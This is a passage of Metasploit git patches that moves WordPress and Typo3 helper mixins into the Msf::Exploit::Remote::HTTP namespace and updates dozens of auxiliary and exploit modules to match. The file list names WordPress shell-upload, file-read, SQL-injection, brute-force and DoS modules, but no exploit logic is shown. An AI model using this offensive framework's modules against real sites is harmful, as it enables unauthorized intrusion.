Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Typo3::Login + include Msf::Exploit::Remote::HTTP::Typo3::URIs - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options( - [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the typo3 application', '/']), - ], HTTP::Typo3 - ) + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the typo3 application', '/']), + ], Msf::Exploit::Remote::HTTP::Typo3 + ) + end + end end end end diff --git a/lib/msf/core/exploit/http/typo3/login.rb b/lib/msf/core/exploit/http/typo3/login.rb index e6d05fd93b..932c414c68 100644 --- a/lib/msf/core/exploit/http/typo3/login.rb +++ b/lib/msf/core/exploit/http/typo3/login.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Typo3::Login +module Msf::Exploit::Remote::HTTP::Typo3::Login # performs a typo3 backend login # diff --git a/lib/msf/core/exploit/http/typo3/uris.rb b/lib/msf/core/exploit/http/typo3/uris.rb index b699240a59..e4d5bf4790 100644 --- a/lib/msf/core/exploit/http/typo3/uris.rb +++ b/lib/msf/core/exploit/http/typo3/uris.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Typo3::URIs +module Msf::Exploit::Remote::HTTP::Typo3::URIs # Returns the Typo3 Login URL # diff --git a/lib/msf/core/exploit/http/wordpress.rb b/lib/msf/core/exploit/http/wordpress.rb index 92ac99eacd..4ed7e7b342 100644 --- a/lib/msf/core/exploit/http/wordpress.rb +++ b/lib/msf/core/exploit/http/wordpress.rb @@ -1,48 +1,52 @@ # -*- coding: binary -*- -# This module provides a way of interacting with wordpress installations module Msf - module HTTP - module Wordpress - require 'msf/http/wordpress/admin' - require 'msf/http/wordpress/base' - require 'msf/http/wordpress/helpers' - require 'msf/http/wordpress/login' - require 'msf/http/wordpress/posts' - require 'msf/http/wordpress/uris' - require 'msf/http/wordpress/users' - require 'msf/http/wordpress/version' - require 'msf/http/wordpress/xml_rpc' + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with wordpress installations + module Wordpress + require 'msf/core/exploit/http/wordpress/admin' + require 'msf/core/exploit/http/wordpress/base' + require 'msf/core/exploit/http/wordpress/helpers' + require 'msf/core/exploit/http/wordpress/login' + require 'msf/core/exploit/http/wordpress/posts' + require 'msf/core/exploit/http/wordpress/uris' + require 'msf/core/exploit/http/wordpress/users' + require 'msf/core/exploit/http/wordpress/version' + require 'msf/core/exploit/http/wordpress/xml_rpc' - include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress::Admin - include Msf::HTTP::Wordpress::Base - include Msf::HTTP::Wordpress::Helpers - include Msf::HTTP::Wordpress::Login - include Msf::HTTP::Wordpress::Posts - include Msf::HTTP::Wordpress::URIs - include Msf::HTTP::Wordpress::Users - include Msf::HTTP::Wordpress::Version - include Msf::HTTP::Wordpress::XmlRpc + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress::Admin + include Msf::Exploit::Remote::HTTP::Wordpress::Base + include Msf::Exploit::Remote::HTTP::Wordpress::Helpers + include Msf::Exploit::Remote::HTTP::Wordpress::Login + include Msf::Exploit::Remote::HTTP::Wordpress::Posts + include Msf::Exploit::Remote::HTTP::Wordpress::URIs + include Msf::Exploit::Remote::HTTP::Wordpress::Users + include Msf::Exploit::Remote::HTTP::Wordpress::Version + include Msf::Exploit::Remote::HTTP::Wordpress::XmlRpc - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options( - [ - Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']) - ], HTTP::Wordpress - ) + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']) + ], Msf::Exploit::Remote::HTTP::Wordpress + ) - register_advanced_options( - [ - Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']) - ], HTTP::Wordpress - ) - end + register_advanced_options( + [ + Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']) + ], Msf::Exploit::Remote::HTTP::Wordpress + ) + end - def wp_content_dir - datastore['WPCONTENTDIR'] + def wp_content_dir + datastore['WPCONTENTDIR'] + end + end end end end diff --git a/lib/msf/core/exploit/http/wordpress/admin.rb b/lib/msf/core/exploit/http/wordpress/admin.rb index 961b5c603a..7fc84f856c 100644 --- a/lib/msf/core/exploit/http/wordpress/admin.rb +++ b/lib/msf/core/exploit/http/wordpress/admin.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Admin +module Msf::Exploit::Remote::HTTP::Wordpress::Admin # Uploads a plugin using a valid admin session. # # @param name [String] The name of the plugin diff --git a/lib/msf/core/exploit/http/wordpress/base.rb b/lib/msf/core/exploit/http/wordpress/base.rb index e67f46a40c..386b6378f9 100644 --- a/lib/msf/core/exploit/http/wordpress/base.rb +++ b/lib/msf/core/exploit/http/wordpress/base.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Base +module Msf::Exploit::Remote::HTTP::Wordpress::Base # Checks if the site is online and running wordpress # # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise diff --git a/lib/msf/core/exploit/http/wordpress/helpers.rb b/lib/msf/core/exploit/http/wordpress/helpers.rb index bb39caa83e..a9b70dae79 100644 --- a/lib/msf/core/exploit/http/wordpress/helpers.rb +++ b/lib/msf/core/exploit/http/wordpress/helpers.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Helpers +module Msf::Exploit::Remote::HTTP::Wordpress::Helpers # Helper methods are private and should not be called by modules private diff --git a/lib/msf/core/exploit/http/wordpress/login.rb b/lib/msf/core/exploit/http/wordpress/login.rb index 3ef87f4710..5d7533f81f 100644 --- a/lib/msf/core/exploit/http/wordpress/login.rb +++ b/lib/msf/core/exploit/http/wordpress/login.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Login +module Msf::Exploit::Remote::HTTP::Wordpress::Login # performs a wordpress login # # @param user [String] Username diff --git a/lib/msf/core/exploit/http/wordpress/posts.rb b/lib/msf/core/exploit/http/wordpress/posts.rb index d343e8accf..57735bdf4a 100644 --- a/lib/msf/core/exploit/http/wordpress/posts.rb +++ b/lib/msf/core/exploit/http/wordpress/posts.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Posts +module Msf::Exploit::Remote::HTTP::Wordpress::Posts # Posts a comment as an authenticated user # diff --git a/lib/msf/core/exploit/http/wordpress/uris.rb b/lib/msf/core/exploit/http/wordpress/uris.rb index 19c2cd184a..b3a0685e67 100644 --- a/lib/msf/core/exploit/http/wordpress/uris.rb +++ b/lib/msf/core/exploit/http/wordpress/uris.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::URIs +module Msf::Exploit::Remote::HTTP::Wordpress::URIs # Returns the Wordpress Login URL # diff --git a/lib/msf/core/exploit/http/wordpress/users.rb b/lib/msf/core/exploit/http/wordpress/users.rb index 150b48491b..4ddac519ad 100644 --- a/lib/msf/core/exploit/http/wordpress/users.rb +++ b/lib/msf/core/exploit/http/wordpress/users.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Users +module Msf::Exploit::Remote::HTTP::Wordpress::Users # Checks if the given user exists # diff --git a/lib/msf/core/exploit/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb index 63366b7a7d..80c693e56d 100644 --- a/lib/msf/core/exploit/http/wordpress/version.rb +++ b/lib/msf/core/exploit/http/wordpress/version.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::Version +module Msf::Exploit::Remote::HTTP::Wordpress::Version # Used to check if the version is correct: must contain at least one dot WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' diff --git a/lib/msf/core/exploit/http/wordpress/xml_rpc.rb b/lib/msf/core/exploit/http/wordpress/xml_rpc.rb index 34a20048c1..5e0d22cc56 100644 --- a/lib/msf/core/exploit/http/wordpress/xml_rpc.rb +++ b/lib/msf/core/exploit/http/wordpress/xml_rpc.rb @@ -1,6 +1,6 @@ # -*- coding: binary -*- -module Msf::HTTP::Wordpress::XmlRpc +module Msf::Exploit::Remote::HTTP::Wordpress::XmlRpc # Determines if the XMLRPC interface is enabled by sending a demo.sayHello request # diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index a575d03a83..5381f02504 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -105,3 +105,8 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' require 'msf/core/exploit/browser_autopwn2' + +# Custom HTTP Modules +require 'msf/core/exploit/http/wordpress' +require 'msf/core/exploit/http/typo3' +require 'msf/core/exploit/http/jboss' \ No newline at end of file From cf9ddbb7011ba5c3a93dc18cbb7a6601d542b7d0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 11:47:13 -0500 Subject: [PATCH 0907/2172] Update moduels using Msf::HTTP::Wordpress --- modules/auxiliary/admin/http/wp_custom_contact_forms.rb | 2 +- .../auxiliary/admin/http/wp_easycart_privilege_escalation.rb | 2 +- modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb | 2 +- modules/auxiliary/dos/http/wordpress_long_password_dos.rb | 2 +- modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb | 2 +- modules/auxiliary/gather/wp_all_in_one_migration_export.rb | 2 +- .../auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb | 2 +- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 2 +- modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb | 2 +- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 2 +- modules/auxiliary/scanner/http/wordpress_pingback_access.rb | 2 +- modules/auxiliary/scanner/http/wordpress_scanner.rb | 2 +- modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb | 2 +- modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb | 2 +- modules/auxiliary/scanner/http/wp_dukapress_file_read.rb | 2 +- modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb | 2 +- .../auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb | 2 +- modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb | 2 +- modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb | 2 +- modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb | 2 +- .../auxiliary/scanner/http/wp_subscribe_comments_file_read.rb | 2 +- modules/exploits/unix/webapp/wp_admin_shell_upload.rb | 2 +- modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb | 2 +- .../exploits/unix/webapp/wp_creativecontactform_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_downloadmanager_upload.rb | 2 +- .../unix/webapp/wp_easycart_unrestricted_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_foxypress_upload.rb | 2 +- modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb | 2 +- .../exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_infusionsoft_upload.rb | 2 +- modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_optimizepress_upload.rb | 2 +- .../unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_pixabay_images_upload.rb | 2 +- modules/exploits/unix/webapp/wp_platform_exec.rb | 2 +- modules/exploits/unix/webapp/wp_property_upload_exec.rb | 2 +- modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_revslider_upload_execute.rb | 2 +- modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb | 2 +- modules/exploits/unix/webapp/wp_symposium_shell_upload.rb | 2 +- modules/exploits/unix/webapp/wp_total_cache_exec.rb | 2 +- modules/exploits/unix/webapp/wp_worktheflow_upload.rb | 2 +- modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_wptouch_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb | 2 +- 46 files changed, 46 insertions(+), 46 deletions(-) diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 774e6f0f3e..b86b2ee014 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb index 1ae5194f90..2a8c26fba6 100644 --- a/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_easycart_privilege_escalation.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb index 0b4c12614b..2fada64417 100644 --- a/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb +++ b/modules/auxiliary/admin/http/wp_wplms_privilege_escalation.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index fb6d7094b0..258f134c4b 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb index d5c5e1aba9..489458a65e 100644 --- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index a23259ee56..b06dd773c8 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb index b2ecbc810f..ebdc2ed1a7 100644 --- a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb +++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'csv' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 907ecc4c5b..944ca3a0fb 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb index 21da03291e..1584fd9278 100644 --- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index ce0bc33bd5..2019d21f71 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -4,7 +4,7 @@ ## class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index 03a86284cc..702d4b6bcc 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/http/wordpress_scanner.rb b/modules/auxiliary/scanner/http/wordpress_scanner.rb index dcbb525148..e4c5feef18 100644 --- a/modules/auxiliary/scanner/http/wordpress_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_scanner.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 0c5ab06de1..fb7097671a 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -8,7 +8,7 @@ require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/wordpress_rpc' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb index 4fced62a85..c997f1d988 100644 --- a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit4 < Msf::Auxiliary - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb index 36217b7710..507b311f36 100644 --- a/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb index 9040d25fcd..58f70a893b 100644 --- a/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_gimedia_library_file_read.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index ffa1494ac1..7b44f004e9 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb index c167d8a093..ca60253e0c 100644 --- a/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_mobileedition_file_read.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb index 9805311524..accb58a7f7 100644 --- a/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_nextgen_galley_file_read.rb @@ -10,7 +10,7 @@ require 'nokogiri' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 8c66976876..68615dfb1a 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 770231ee1c..f554f8d3c9 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb index 8cbf2a5411..7c9f49e32a 100644 --- a/modules/exploits/unix/webapp/wp_admin_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_admin_shell_upload.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index 78b84dce25..9d0cbd7ce6 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb index 7dea3d238e..f09d836152 100644 --- a/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_creativecontactform_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb index 13dea3737f..3504f81df9 100644 --- a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb +++ b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb index dfe47d01be..9d554ee3e2 100644 --- a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_foxypress_upload.rb b/modules/exploits/unix/webapp/wp_foxypress_upload.rb index 3a629671f4..1fefb811ca 100644 --- a/modules/exploits/unix/webapp/wp_foxypress_upload.rb +++ b/modules/exploits/unix/webapp/wp_foxypress_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index 7ed5393e6f..1fb64e7e7c 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb index b49c886322..a9d966d9cd 100644 --- a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb index 00d07cf8cf..f06a853ea6 100644 --- a/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_inboundio_marketing_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb index 879fb9804d..6338d3ed78 100644 --- a/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb +++ b/modules/exploits/unix/webapp/wp_infusionsoft_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git 